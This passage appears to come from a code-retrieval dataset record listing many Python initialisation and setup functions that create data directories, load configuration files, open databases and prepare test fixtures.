1 transcription file found\"\n self._parse_transcription_file(root, matches[0])\n\n self._sort_by_duration()","async def init(self):\n self.init_connection_params()\n self._pool = await self._create_pool()\n\n return self","def __init__(self):\n\n self.read_input_file()\n self.read_simulation_files()","def setUpTestData(cls):\n call_command('loaddata', 'db.json', verbosity=0)","def __init__(self):\n\n self.__path = \"DataBase.db\"\n self.__admins = []\n self.__update_admin_cache()","def __init__(self, dbname, host, readport):\n self.host = host\n self.readport = readport\n self.dbname = dbname\n self.readsets = [] # pre-defined sets of readouts for negotiating bulk transfers","def run(self):\n\t\tself.data_source.connect()\n\t\twhile self.running:\n\t\t\tself.data_source.read()","def setUp(self):\n self.test_data = self.read_data('test_data/clients.txt')","def _initialize_directory(self):\n self._generate_settings()\n if os.path.exists(self.target_path):\n sys.exit(\"WARNING: %s already exists, exiting\" % self.target_path)\n self._print_initialize_message()\n self._create_directories()\n self._create_general_config_file()\n self._create_default_pipeline_config_file()\n self._create_filelist()\n print","def __init__(self, dbname, host, writeport):\n self.dbname = dbname\n self.host = host\n self.writeport = writeport\n self.readouts = {} # cache of readout information\n self.filters = {} # data reduction filters per channel\n self.readsets = [] # pre-defined sets of readouts for negotiating bulk transfers","def __init__ (self, relPath) :\n self.m_path = \"\"\n \n dataPath = os.getenv(\"SIT_DATA\")\n if not dataPath: return\n \n for dir in dataPath.split(':'):\n path = os.path.join(dir, relPath)\n if os.path.exists(path):\n self.m_path = path\n break","def source_data_files(self, data_dir, tmp_dir, dataset_split):\n raise NotImplementedError()","def load_data(self):\n\n self._load_train_data()\n self._load_test_data()","def __init__(self):\n self.databases = []","def initialize(self):\n self.population.initialize()\n self.cache.initialize()\n if self.storage:\n self.storage.initialize()","def setUp(self):\n print(\"setUp()\", os.path.exists('./testdatas'))\n if not os.path.exists('./testdatas'):\n print('Creating server test data directory')\n os.mkdir('./testdatas')\n if not os.path.exists('./testdatac'):\n print('Creating client test data directory')\n os.mkdir('./testdatac')\n if os.path.exists('testdata.tar'):\n print('Extracting test data')\n tar = tarfile.open('testdata.tar')\n tar.extractall()\n tar.close()\n else:\n print('No testdata.tar file found!', file=sys.stderr)","def __init__(self):\n # Read configuration into dictionary\n self.directories = general.config_directories()\n self.config = general.read_yaml_files(self.directories)","def load_dataset(self):\n # Get all the files in the directory\n file_list = self.get_file_list()\n\n # Concatenate the data corresponding to a list of files\n data = self.concatenate_file_data(file_list)\n\n # Shuffle the data and create the training and the validation datasets\n data = self.shuffle_data_dictionary(data)\n self.training_dataset, self.validation_dataset = self.split_data_into_training_and_validation(data)","def init_downloader(self) -> None:\n raise NotImplementedError","def __init__(self):\n\t\tappionScript.AppionScript.__init__(self)\n\t\tself.rundata = {}\n\t\t### extra appionLoop functions:\n\t\tself._addDefaultParams()\n\t\tself.setFunctionResultKeys()\n\t\tself._setRunAndParameters()\n\t\t#self.specialCreateOutputDirs()\n\t\tself._initializeDoneDict()\n\t\tself.result_dirs={}","def initialize():\n\n # create plugin locations\n for p in (cache_path, config_path, data_path):\n p.mkdir(parents=False, exist_ok=True)","def setup_class(cls):\n self = cls()\n self.remove_files_created_during_previous_runs()\n if not os.path.exists(self.plaintext_directory):\n os.makedirs(self.plaintext_directory)\n\n if not os.path.exists(self.training_path):\n os.makedirs(self.training_path)\n\n if not os.path.exists(self.heldout_path):\n os.makedirs(self.heldout_path)\n\n prepare_data(self.paths)","def initialise(self):\n \n # Create the RDM control directory if it doesn't already exist.\n rdm_control_directory = self.repo.working_dir + \"/.rdm\"\n if not os.path.exists(rdm_control_directory):\n os.makedirs(rdm_control_directory)\n \n # Set up the SQLite database.\n self.db_connect()\n \n # If this file already exists, then skip this step.\n if self.db_exists():\n response = raw_input(\"The publications database already exists. Do you want to overwrite it? (y/n)\\n\")\n if response == \"y\" or response == \"Y\":\n _LOG.info(\"Overwriting...\")\n with self.connection:\n c = self.connection.cursor()\n query = \"DROP TABLE %s\" % PUBLICATIONS_TABLE\n c.execute(query)\n elif response == \"n\" or response == \"N\":\n _LOG.info(\"Not overwriting.\")\n return\n else:\n _LOG.error(\"Unknown response '%s'. Not overwriting.\" % response)\n return\n\n # Set up publication table columns.\n with self.connection:\n c = self.connection.cursor()\n query = \"CREATE TABLE %s (id INTEGER PRIMARY KEY AUTOINCREMENT, path TEXT, date TEXT, time TEXT, sha TEXT, pid TEXT, doi TEXT)\" % PUBLICATIONS_TABLE\n c.execute(query)\n\n # Disconnect.\n self.db_disconnect()\n\n return","def __init__(self):\n self.database = Database()\n self.load_config()","async def init(self) -> None:","async def init(self) -> None:","def setUp(self):\n # Drop directory if it exists\n if os.path.isdir(SERVER_DIR):\n shutil.rmtree(SERVER_DIR)\n os.makedirs(SERVER_DIR)\n self.processor = MimirProcessor()\n self.datastore = MimirDatastore(DATASTORE_DIR)\n self.filestore = FileSystemFilestore(FILESTORE_DIR)\n self.available_lenses = set(mimir.getAvailableLensTypes())","def __init__(self, subquery, queryNum, dataPath, transformImage=None):\r\n self.dataPath = dataPath\r\n print(self.dataPath)\r\n self.transformImage = transformImage\r\n self.videos = sorted(os.listdir(self.dataPath))\r\n self.queryDir = 'cast'\r\n self.candDir = 'candidates'\r\n self.len = len(self.videos)\r\n self.subquery = subquery\r\n self.queryNum = queryNum","def prepare(self):\n if self.opts['verbose']:\n print(\"Preparing dataset (one-time operation)...\")\n # Create paths files and load them back in\n self._build_ID_sets()\n self._create_ID_files()\n self._load_ID_files()\n if self.opts['verbose']:\n print(\"... done with preparing the dataset.\")","def do_init(self):\n\n pass"],"string":"[\n \"def __init__(self, dir_path, window_size,\\n user_map_path, computer_map_path, auth_type_map_path, logon_type_map_path):\\n logging.info(f\\\"Initiating Dataset instance for directory {dir_path}\\\")\\n self.directory = dir_path\\n self.filenames = [filename for filename in os.listdir(dir_path) if os.path.isfile(os.path.join(dir_path, filename))]\\n assert len(self.filenames) > 0\\n random.shuffle(self.filenames)\\n self.window_size = window_size\\n self.len = self.count_len()\\n self.user_map, self.user_count = util.load_mapping(user_map_path)\\n self.computer_map, self.computer_count = util.load_mapping(computer_map_path)\\n self.auth_type_map, self.auth_type_count = util.load_mapping(auth_type_map_path)\\n self.logon_type_map, self.logon_type_count = util.load_mapping(logon_type_map_path)\",\n \"def __init__(self, data_dir, data_modules=ALL):\\n self.data_dir = data_dir\\n self.data_modules = set(data_modules)\",\n \"def __init__(self):\\n\\n self.this_dir = os.path.dirname(os.path.abspath(__file__))\\n self.db_path = self._discover_in_dir(self.this_dir)\",\n \"def prepare_data(self):\\n import subprocess\\n # Download coco data set into dir specified by config then /data/coco\\n subprocess.call([f\\\"{get_original_cwd()}/bin/fetch_dataset.sh\\\", f\\\"{self.dir}/data/coco\\\", f\\\"{get_original_cwd()}\\\"])\\n # subprocess.call([f\\\"bin/fetch_dataset.sh\\\", f\\\"{self.dir}/data/coco\\\"])\\n task = \\\"instances\\\" if self.instance else \\\"person_keypoints\\\"\\n register_coco_instances(\\\"train\\\", {}, f\\\"{self.dir}/data/coco/{task}_train2014.json\\\",\\n f\\\"{self.dir}/data/coco/train2014\\\")\\n register_coco_instances(\\\"val\\\", {}, f\\\"{self.dir}/data/coco/{task}_minival2014.json\\\",\\n f\\\"{self.dir}/data/coco/val2014\\\")\\n register_coco_instances(\\\"test\\\", {}, f\\\"{self.dir}/data/coco/{task}_valminusminival2014.json\\\",\\n f\\\"{self.dir}/data/coco/val2014\\\")\",\n \"def __init__(self, data_dir):\\n self.data_dir = data_dir\\n\\n # reading in the images present\\n self.files = os.listdir(self.data_dir)\",\n \"def initialize_folders(self):\\n logger.info('Initializing folders')\\n create_folder(self.generator_folder)\\n create_folder(self.data_folder)\\n create_folder(self.input_folder)\\n create_folder(self.filtered_folder)\\n create_folder(self.model_folder)\\n create_folder(self.build_folder)\",\n \"def __initDataFromImages(self):\\n #Check if the local_db exist\\n initial_dirs = os.listdir(os.getcwd())\\n is_db_empty = False\\n if len(os.listdir(self.base_dir)) == 1: #Empty here means no person data\\n [images_dir] = os.listdir(self.base_dir)\\n is_db_empty = images_dir == cfg.local[\\\"IMG_DIR\\\"]\\n if cfg.local[\\\"DEFAULT_IMGS_DIR\\\"] in initial_dirs and is_db_empty:\\n default_path = os.path.join(os.getcwd(), cfg.local[\\\"DEFAULT_IMGS_DIR\\\"])\\n self.X, self.y = loadDataFromImagesPath(self.detector, default_path)\\n self.le = LabelEncoder()\\n #Nothing relate to mapping name to dir here, we don't care about\\n #This data because of the user doesn't exist in the database\\n self.__savePreProcessedData()\",\n \"def __init__(self, data_dir, base_url):\\n self.data_dir = data_dir\\n self.base_url = base_url\",\n \"def __init__ (self, folder, spec=None):\\n self.folder = folder\\n if spec is not None:\\n self.spec = spec\\n\\n self._databases = []\",\n \"def __init__(self, data_dirs, *args, **kwargs):\\n super().__init__(*args, **kwargs)\\n\\n self.data_dirs = strax.to_str_tuple(data_dirs)\\n\\n for d in self.data_dirs:\\n try:\\n os.makedirs(d)\\n except FileExistsError:\\n pass\\n else:\\n self.log.debug(f\\\"Created data dir {d}\\\")\",\n \"def file_loader(self):\\n\\n for folder in self.config[\\\"data_folders\\\"]:\\n f = os.path.join(folder, self.data_file)\\n yield jsonlist.load_file(f)\",\n \"def setUp(self):\\n self.directory = tempfile.TemporaryDirectory()\\n self.dataset = self.dataset_cls(cache_root=self.directory.name)\",\n \"def __init__(self, data_path=root.joinpath(\\\"data\\\")):\\n self.data_path = data_path\",\n \"def initialize_storage(self):\\n for category_dir_name in os.listdir(self.tarball_dir):\\n category_dir_path = os.path.join(self.tarball_dir, category_dir_name)\\n\\n if os.path.isdir(category_dir_path):\\n for tarball_filename in os.listdir(category_dir_path):\\n tarball_fp = os.path.join(category_dir_path, tarball_filename)\\n\\n self.extract_docs_from_tarball(category=category_dir_name,\\n doc_name=tarball_filename.replace(\\\".tar.gz\\\", \\\"\\\"),\\n tmp_tarball_fp=tarball_fp)\",\n \"def initialize(self):\\n\\n # create plugin locations\\n for p in (cache_path, config_path, data_path):\\n p.mkdir(parents=False, exist_ok=True)\",\n \"def prepare_data(self) -> None:\\n if (self.root).is_dir():\\n logger.info(\\\"Found the dataset.\\\")\\n else:\\n download_and_extract(self.root, DOWNLOAD_INFO)\",\n \"def __init__(self):\\n groups = [\\n os.path.splitext(f)[0] for f in os.listdir(data_dir) if f.endswith(\\\".json\\\")\\n ]\\n\\n self._data = {\\n group: IndicatorGroup.parse_file(os.path.join(data_dir, f\\\"{group}.json\\\"))\\n for group in groups\\n }\",\n \"def init(self):\\n self.logger.info(\\\"Performing initialization ...\\\")\\n self.logger.info(\\\"Processing '%s' directory ...\\\" % self.config.watched_dir)\\n db_file = self.config.database\\n if os.path.exists(db_file):\\n os.rename(db_file, db_file + \\\".backup.\\\" + str(time.time()))\\n self.logger.warn(\\\"Database file '%s' exists, backup file created.\\\" % db_file)\\n # returns full file paths\\n file_names = helpers.get_files(path=self.config.watched_dir,\\n file_mask=self.config.watch_masks,\\n recursive=True)\\n # result data dictionary (dictionary of dictionaries):\\n # file_path: {last_modif: <value>, last_modif_human: <value>}\\n data = {}\\n for name in file_names:\\n if name in self.config.ignore_list:\\n continue\\n dt = os.path.getmtime(name)\\n human = time.strftime(\\\"%Y-%m-%d %H:%M:%S\\\", time.localtime(dt))\\n name_encoded = unicode(name, \\\"utf-8\\\")\\n data[name_encoded] = dict(last_modif=dt, last_modif_human=human)\\n # store resulting data into JSON file\\n self.logger.info(\\\"Storing timestamp info about %s files ...\\\" % len(data))\\n try:\\n db_file_fp = open(db_file, 'w')\\n json.dump(data, db_file_fp)\\n db_file_fp.close()\\n self.logger.info(\\\"Finished, database file written: '%s'\\\" % db_file)\\n except IOError, ex:\\n self.logger.error(\\\"Could not write data into '%s', reason: %s'\\\" % (db_file, ex))\\n return 1\\n else:\\n return 0\",\n \"def __init__(self, data_path='data', db_params=ideagens):\\n my_path = path.abspath(data_path)\\n self.path = my_path\\n\\n self.db_params = db_params\\n self.db = get_db(self.db_params)\",\n \"def __init__(self):\\n\\n self._datamappers = {\\n '*/*': DataMapper()\\n }\",\n \"def __init__(self):\\n self.data_set_loc = conf.config_section_mapper(\\\"filePath\\\").get(\\\"data_set_loc\\\")\\n self.data_extractor = DataExtractor(self.data_set_loc)\",\n \"def _initilise_graph_db(self):\\n for collector in self.collectors:\\n collector.init_graph_db()\",\n \"def _set_dirs(self, datafolder):\\n self.List_of_dir = []\\n self.List_of_files = dict()\\n folders = os.listdir(datafolder)\\n folders.sort()\\n for i in folders:\\n if os.path.isdir(os.path.join(datafolder,i)) and i != '.ipynb_checkpoints': # ignore .ipynb_checkpoints, allowing the generator to work in Amazon\\n self.List_of_dir.append(os.path.join(datafolder,i))\\n self.List_of_files[os.path.join(datafolder,i)]=[]\\n for file in os.listdir(os.path.join(datafolder, i, 'Input')):\\n if file.split('.')[-1] == 'hdf5':\\n self.List_of_files[os.path.join(datafolder,i)].append(file.split('.')[-2])\\n self._nb_dir = len(self.List_of_dir)\",\n \"def __init__(self, directory):\\n self._path = os.path.join(\\\"../../datasets\\\", directory)\\n self.airlines = pd.read_csv(os.path.join(self._path, 'airlines.csv'))\\n self.airports = pd.read_csv(os.path.join(self._path, 'airports.csv'))\\n self.planes = pd.read_csv(os.path.join(self._path, 'planes.csv'))\\n self.countries = pd.read_csv(os.path.join(self._path, 'countries.csv'))\\n self.routes = pd.read_csv(os.path.join(self._path, 'routes.csv'))\\n self._CreateGraph()\",\n \"def start(self):\\n self.ioloop.add_callback(self.get_data)\\n logging.info(\\\"[DataSource] Started\\\")\",\n \"def _collect(self, conll_directory) -> Iterator[Any]:\\n logging.info(\\\"Reading .conll from %s\\\", conll_directory)\\n return dataset_path_iterator(conll_directory, self.configs.file_ext)\",\n \"def init_configs(self):\\n\\n # get current location\\n self.script_dir = os.path.dirname(__file__)\\n\\n # load configuration file\\n with open(os.path.join(self.script_dir, \\\"config.json\\\")) as f:\\n self.configs = json.load(f)\\n \\n # load some configs as attributes\\n self.resource_folder = os.path.join(self.script_dir, self.configs[\\\"resource_path\\\"], self.resource_type, self.language)\\n self.pre_processed_folder = os.path.join(self.resource_folder, self.configs[\\\"pre_processed_path\\\"])\\n self.results_folder = os.path.join(self.resource_folder, self.configs[\\\"results_path\\\"])\\n self.chunk_size = self.configs[\\\"resources\\\"][self.resource_type][\\\"chunk_size\\\"]\",\n \"def __init__(self, root_dir):\\n self.paths = glob.glob(root_dir + \\\"/*.csv\\\")\\n self.target = 'Default'\\n # Grouping variable names\",\n \"def init(self):\\n\\n self.checkDirectory(self.output_dir,\\\"output\\\")\\n self.checkDirectory(self.working_dir,\\\"working\\\")\",\n \"def load_data(self):\\n for set_name in self.image_dir_path:\\n if self.verbose:\\n print('\\\\n> Loading data files for the set: ' + set_name)\\n\\n # image dir\\n image_dir = os.path.join(self.data_path, self.image_dir_path[set_name])\\n\\n # annotation file path\\n annot_filepath = os.path.join(self.data_path, self.annotation_path[set_name])\\n\\n if 'test' in set_name:\\n yield load_data_test(set_name, image_dir, annot_filepath, self.verbose)\\n else:\\n yield self.load_data_trainval(set_name, image_dir, annot_filepath)\",\n \"def __init__(self, data_config):\\n self._brands = self._load_from_directory(data_config['targeted_brands_dir'])\\n self._keywords = self._load_from_directory(data_config['keywords_dir'])\\n self._fqdn_keywords = self._load_from_directory(data_config['fqdn_keywords_dir'])\\n self._similarity_words = self._load_from_directory(data_config['similarity_words_dir'])\\n self._tlds = self._load_from_directory(data_config['tld_dir'])\",\n \"def init(self):\\n\\t\\tfrom splat_to_db import splat_to_db\\n\\t\\tfrom visualize.clustering_test import clustering_test\\n\\t\\tfrom codense.codense2db import codense2db\\n\\t\\tself.splat_to_db_instance = splat_to_db()\\n\\t\\tself.clustering_test_instance = clustering_test()\\n\\t\\tself.codense2db_instance = codense2db()\\n\\t\\t\\n\\t\\tif not os.path.isdir(self.dir_files):\\n\\t\\t\\tos.makedirs(self.dir_files)\\n\\t\\telse:\\n\\t\\t\\tsys.stderr.write(\\\"Warning, directory %s already exists.\\\\n\\\"%(self.dir_files))\\n\\t\\tself.tmpinfname = os.path.join(self.dir_files, 'input')\\n\\t\\tself.tmpoutfname = os.path.join(self.dir_files, 'output')\\n\\t\\t\\n\\t\\tself.crack_dict = {1: crack_by_modes(self.debug),\\n\\t\\t\\t2:crack_by_splat(self.debug)}\\n\\t\\tself.argument1_dict = {1: self.clustering_test_instance,\\n\\t\\t\\t2: self.splat_to_db_instance}\\n\\t\\t\\n\\t\\t#two descending tables\\n\\t\\tself.splat_table = '%ss'%self.table\\n\\t\\tself.mcl_table = self.splat_table.replace('splat','mcl')\\n\\t\\tif self.mcl_table == self.splat_table:\\n\\t\\t\\tsys.stderr.write(\\\"Error: new splat and mcl tables have the same name, %s\\\\n\\\"%self.splat_table)\\n\\t\\t\\tsys.exit(2)\",\n \"def __init__(self):\\n root_dir = os.path.dirname(os.path.abspath(__file__))\\n self.base_dir = root_dir + \\\"/data/index/\\\" # base directory location for all indexes\",\n \"def _init_files_dirs(self):\\n self.local.create_files_dirs()\\n self.remote.create_files_dirs()\",\n \"def Init(self):\\n # First iteration over all the files in root searching for symlinks and\\n # non-regular files.\\n seen_inodes = {}\\n for basepath, _, filenames in sorted(os.walk(self._root)):\\n for filename in sorted(filenames):\\n full_path = os.path.join(basepath, filename)\\n rel_path = full_path[len(self._root):]\\n st = os.lstat(full_path)\\n\\n file_data = {\\n 'size': st.st_size,\\n }\\n self._files[rel_path] = file_data\\n\\n # Track symlinks.\\n if stat.S_ISLNK(st.st_mode):\\n link_path = os.readlink(full_path)\\n # lddtree's normpath handles a little more cases than the os.path\\n # version. In particular, it handles the '//' case.\\n self._symlinks[rel_path] = (\\n link_path.lstrip('/') if link_path and link_path[0] == '/' else\\n lddtree.normpath(os.path.join(os.path.dirname(rel_path),\\n link_path)))\\n file_data['deps'] = {\\n 'symlink': [self._symlinks[rel_path]]\\n }\\n\\n # Track hardlinks.\\n if st.st_ino in seen_inodes:\\n self._hardlinks[rel_path] = seen_inodes[st.st_ino]\\n continue\\n seen_inodes[st.st_ino] = rel_path\",\n \"def setup(self):\\n in_dataset, out_dataset = self.get_datasets()\",\n \"def setup(self):\\n in_dataset, out_dataset = self.get_datasets()\",\n \"def __init__(self, base_path):\\n super(FileSystemDatastore, self).__init__(base_path)\",\n \"def __init__(self):\\r\\n ms_cli_root = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\\r\\n self._working_dir = os.path.join(\\\".localdata\\\")\\r\\n self._db = None\\r\\n self._db_name = \\\"ms-cli.db\\\"\\r\\n self._db_models = db_base\\r\\n self._conf_file_name = \\\"ms-cli.conf\\\"\\r\\n self._db_map = {}\\r\\n\\r\\n self._appconfig = None\\r\\n self._session = None\\r\\n self._current_user_guid = None\\r\\n\\r\\n self.init_dir()\",\n \"def _init_dataset(self):\\n champions = set()\\n\\n for name in os.listdir(self.data_root):\\n label = name.split(\\\".\\\")[0]\\n champions.add(label)\\n self.image_paths += [(os.path.join(self.data_root, name), [[label]])]\\n\\n # self.encoder = self.encoder.fit(np.array(list(champions)).reshape(-1, 1))\\n self.encoder = self.encoder.fit(list(champions))\",\n \"def __init__(self):\\n self.filepath = os.path.dirname(__file__)\\n self.filepath = os.path.join(self.filepath, \\\"Datenbank\\\")\\n self.filepath_render_database = os.path.join(self.filepath, self.render_database)\\n self.filepath_object_database = os.path.join(self.filepath, self.object_database)\\n self.filepath_output_database = os.path.join(self.filepath, self.output_database)\\n self.create_database()\",\n \"def initialize(self):\\n \\n casalog.origin(\\\"ParallelDataHelper\\\")\\n\\n # self._arg is populated inside ParallelTaskHelper._init_()\\n self._arg['vis'] = os.path.abspath(self._arg['vis'])\\n # MPI setting\\n if self._mpi_cluster:\\n self._cluster.start_services()\\n \\n if (self._arg['outputvis'] != \\\"\\\"):\\n self._arg['outputvis'] = os.path.abspath(self._arg['outputvis']) \\n\\n outputPath, self.outputBase = os.path.split(self._arg['outputvis'])\\n try:\\n if self.outputBase[-1] == '.':\\n self.outputBase = self.outputBase[:self.outputBase.rindex('.')]\\n except ValueError:\\n # outputBase must not have a trailing .\\n pass\\n\\n if self.outputBase == '.' or self.outputBase == './':\\n raise ValueError, 'Error dealing with outputvis'\\n \\n # The subMS are first saved inside a temporary directory\\n self.dataDir = outputPath + '/' + self.outputBase+'.data'\\n if os.path.exists(self.dataDir): \\n shutil.rmtree(self.dataDir)\\n\\n os.mkdir(self.dataDir)\",\n \"def initialize(self):\\n self._validate_client_objects()\\n for execution_type in self.clients:\\n # check for valid connection is done in _validate_client_objects()\\n _ = self.clients[execution_type].connection # Unused\",\n \"def initialize_paths():\\n\\t_check_env()\\n\\t\\n\\tdata_dir = os.getenv(_DATA_DIRECTORY_ENV_KEY)\\n\\t_paths[_DATA_DIRECTORY_KEY] = data_dir\\n\\t_paths[_DATABASE_PATH_KEY] = os.path.join(data_dir, 'everything.db')\\n\\t_paths[_MEDIA_DIRECTORY_KEY] = os.path.join(data_dir, 'media')\\n\\t_paths[_THUMBNAILS_DIRECTORY_KEY] = os.path.join(data_dir, '.thumbnails')\\n\\n\\t# Create directories\\n\\t_try_make_dir(_paths[_MEDIA_DIRECTORY_KEY])\\n\\t_try_make_dir(_paths[_THUMBNAILS_DIRECTORY_KEY])\",\n \"def init_connection(self, connection):\",\n \"def setup(self):\\n self.rows = test_helpers.fetch_sample_teradata_rows()\\n self.csv_path = 'not/a/real/path'\",\n \"def __init__(self, synapse_df):\\n self._file_df = synapse_df[synapse_df.type == \\\"file\\\"]\\n self._folder_df = synapse_df[synapse_df.type == \\\"folder\\\"]\\n self._init_file_types()\\n self._identify_archive_folders()\\n self._walk_files()\",\n \"def setUp(self):\\n self.dataset = self.dataset_cls()\",\n \"def init(self):\\n\\n # create directories\\n self.createDirectory(\\\"src\\\")\\n list_directories_name = {\\n \\\"Models\\\": True,\\n \\\"DTOs\\\": True,\\n \\\"Repositories\\\": True,\\n \\\"Services\\\": True,\\n \\\"Mappeurs\\\": True,\\n \\\"Ressources\\\": True,\\n \\\"Logs\\\": False,\\n \\\"Parsers\\\": False,\\n \\\"docker\\\": False,\\n \\\"Enums\\\": False,\\n \\\"Config\\\": False,\\n }\\n\\n for directory_name in list_directories_name:\\n self.createDirectory(\\\"src/\\\" + directory_name)\\n\\n self.createDirectory(\\\"src/Logs\\\")\\n open(\\\"src/Logs/debug.log\\\", \\\"w\\\").close()\\n open(\\\"src/Logs/info.log\\\", \\\"w\\\").close()\\n open(\\\"src/Logs/error.log\\\", \\\"w\\\").close()\\n\\n # test directories\\n self.createDirectory(\\\"Tests\\\")\\n for directory_name in list_directories_name.keys():\\n if list_directories_name[directory_name]:\\n self.createDirectory(\\\"Tests/\\\" + directory_name)\\n\\n # helpers Test\\n path = self.getPathFileInStatic(\\\"helpersTest.py\\\")\\n shutil.copy(path, \\\"Tests/helpersTest.py\\\")\\n\\n # Security config\\n path = self.getPathFileInStatic(\\\"security.py\\\")\\n shutil.copy(path, \\\"src/Config/SecurityConfig.py\\\")\\n\\n # Logger\\n path = self.getPathFileInStatic(\\\"logger.py\\\")\\n shutil.copy(path, \\\"src/Config/Logger.py\\\")\\n\\n self.createDirectory(\\\"Tests/Mocks\\\")\\n\\n self.writeAppFile()\\n\\n path = self.getPathFileInStatic(\\\"config.py\\\")\\n shutil.copy(path, \\\"src/Config/ApplicationConfig.py\\\")\\n self.info(\\\"[x] create config.py\\\")\\n # shutil.copy(getPathFileInStatic(\\\"__init__.py\\\"), \\\"src/__init__.py\\\")\\n # info(\\\"[x] create __init__.py\\\")\\n path = self.getPathFileInStatic(\\\"server.py\\\")\\n shutil.copy(path, \\\"server.py\\\")\\n self.info(\\\"[x] create server.py\\\")\\n path = self.getPathFileInStatic(\\\"docker-compose.test.yml\\\")\\n shutil.copy(path, \\\"src/docker/docker-compose.test.yml\\\")\\n self.info(\\\"[x] create docker-compose.test.yml\\\")\",\n \"def __init__(self):\\n self.database = None\\n self.dataset = None\\n \\n self._database_temp_cache_dir = None\\n self.path_of_pickle_file=None\\n # open default config\\n self.default_config = YamlConfig(DEXNET_API_DEFAULTS_FILE)\\n # Resolve gripper_dir and cache_dir relative to dex-net root\\n self.default_config['cache_dir'] = None\\n for key in ['gripper_dir']:\\n if not os.path.isabs(self.default_config[key]):\\n self.default_config[key] = os.path.realpath(DEXNET_DIR + self.default_config[key])\",\n \"def init():\\n global last_datetime\\n global data_file\\n global last_minute\\n\\n # Atualiza as variáveis 'last_datetime' e 'last_minute'\\n last_datetime = datetime.datetime.today()\\n last_minute = last_datetime.minute\\n\\n # Define o diretório do arquivo\\n data_file_path = 'data/' + get_date(last_datetime)\\n\\n # Gera o diretório\\n try:\\n os.makedirs(data_file_path)\\n\\n except FileExistsError:\\n pass\\n\\n # Arbre o arquivo de dados\\n data_file = open(\\n data_file_path + '/' + get_time(last_datetime) + '.csv', 'w'\\n )\",\n \"def setup(self):\\n\\n folder_name, file_name, url, md5 = self.resource\\n dataset_folder = os.path.join(self.data_root, folder_name)\\n if not os.path.exists(dataset_folder):\\n sh_utils.download_and_extract_archive(url, dataset_folder, md5, file_name)\\n\\n test_transform = tv_transforms.Compose(\\n [\\n tv_transforms.ToTensor(),\\n tv_transforms.Lambda(lambda x: x.permute(1, 2, 0)),\\n ]\\n )\\n\\n dataset_out = tv_datasets.ImageFolder(\\n root=dataset_folder, transform=test_transform\\n )\\n self.images_only_dataset_out = sh_data_torch.IndexedTorchDataset(\\n sh_data_torch.ImagesOnlyTorchDataset(dataset_out)\\n )\",\n \"def run(self):\\n print(\\\"[CONNEXION_MANAGER] start connecting\\\")\\n while True:\\n self.connexion_init()\",\n \"def init(self):\\n self.data_dir = self.data_dir or default_data_path / self._name_\\n self.cache_dir = self.data_dir / \\\"cache\\\"\\n assert self.level in [\\n \\\"word\\\",\\n \\\"char\\\",\\n ], f\\\"level {self.level} not supported\\\"\",\n \"def _init(self, **kwargs):\\n self.queries: FoldersQueries = FoldersQueries(auth=self.auth, **kwargs)\\n self.enforcements: FoldersEnforcements = FoldersEnforcements(auth=self.auth, **kwargs)\",\n \"def setUp(self):\\n self.data = DatabaseIntermediary()\",\n \"def initialise(self):\\n\\n\\t\\t# Init the sync module\\n\\t\\tSync.init(Conf.get(('redis', 'sync'), {\\n\\t\\t\\t\\\"host\\\": \\\"localhost\\\",\\n\\t\\t\\t\\\"port\\\": 6379,\\n\\t\\t\\t\\\"db\\\": 1\\n\\t\\t}))\",\n \"def __init__(self, load_data=True):\\n if not load_data:\\n return\\n\\n # Load data files\\n data_paths = [\\\"app_data\\\", \\\"..app_data\\\"]\\n adp = None\\n\\n for data_path in data_paths:\\n if os.path.exists(os.path.join(os.curdir, data_path)):\\n adp = os.path.join(os.curdir, data_path)\\n\\n if not adp:\\n _logger.error(\\\"app data path not found.\\\")\\n return\\n\\n # load all files in the rest_api/app_data path.\\n files = glob(os.path.join(adp, \\\"*\\\"))\\n for filename in files:\\n\\n if filename.endswith(\\\".txt\\\"):\\n key = os.path.basename(filename).replace(\\\".txt\\\", \\\"\\\")\\n # decode and encode are required for the cryillic names in the files.\\n self._app_data[key] = [\\n line.strip().decode(\\\"utf-8\\\") for line in open(filename, \\\"rb\\\").readlines()\\n ]\\n\\n if filename.endswith(\\\".csv\\\"):\\n key = os.path.basename(filename).replace(\\\".csv\\\", \\\"\\\")\\n self._app_data[key] = list(csv.DictReader(open(filename)))\\n\\n if filename.endswith(\\\".json\\\"):\\n key = os.path.basename(filename).replace(\\\".json\\\", \\\"\\\")\\n self._app_data[key] = json.loads(open(filename).read())\",\n \"def __init__(self, datastore_root: str):\\n self.session_storage: Dict[str, ProlificClient] = {}\\n self.agent_data: Dict[str, Dict[str, Any]] = {}\\n self.table_access_condition = threading.Condition()\\n self.conn: Dict[int, sqlite3.Connection] = {}\\n self.db_path = os.path.join(datastore_root, f\\\"{PROVIDER_TYPE}.db\\\")\\n self.init_tables()\\n self.datastore_root = datastore_root\\n self._last_study_mapping_update_times: Dict[str, float] = defaultdict(\\n lambda: time.monotonic()\\n )\",\n \"def _init(self, connection_strings):\\n # Init connections\\n self._connections = []\\n for s in connection_strings:\\n d = Dict() # don't do Dict(foo=x) bc PyScript only supports that for dict\\n self._connections.append(d)\\n d.fullname = s\\n d.type = s.split('.')[-1]\\n d.objects = []\\n \\n # Pending events for this handler\\n self._scheduled_update = False\\n self._pending = [] # pending events\\n \\n # Connect\\n for index in range(len(self._connections)):\\n self._connect_to_event(index)\",\n \"def __initialize(self):\\n\\n self.mode = ''\\n self.libcfdll = None\\n self.uri = ''\\n self.id = ''\\n self._status_ = ''\\n\\n # ctypes variables\\n self.hostId_ct = c_int(-1)\\n self.globalId_ct = c_int(-1)\\n\\n # number of grid files\\n self.nGrids = 0\\n\\n # number of static var files\\n self.nStatDataFiles = 0\\n\\n # number of time dependent var files\\n self.nTimeDataFiles = 0\\n\\n # number of time files\\n self.nTimeSliceFiles = 0\\n\\n # {'varName': fileNames}\\n # fileNames is array of ngrid\\n self.gridVars = {}\\n self.gridName = {}\\n\\n # {'varName': fileNames}\\n # fileNames is array of ntimes x ngrid\\n self.timeVars = {}\\n\\n # {'varName': fileNames}\\n # fileNames is array of ngrid\\n self.statVars = {}\\n\\n # global attributes\\n self.attributes = {}\",\n \"def __init__(self, base_dir: str, inst_data: Optional[ConfigurableClassData] = None):\\n self._base_dir = os.path.abspath(check.str_param(base_dir, \\\"base_dir\\\"))\\n mkdir_p(self._base_dir)\\n\\n self._obs = None\\n\\n self._watchers = defaultdict(dict)\\n self._inst_data = check.opt_inst_param(inst_data, \\\"inst_data\\\", ConfigurableClassData)\\n\\n # Used to ensure that each run ID attempts to initialize its DB the first time it connects,\\n # ensuring that the database will be created if it doesn't exist\\n self._initialized_dbs = 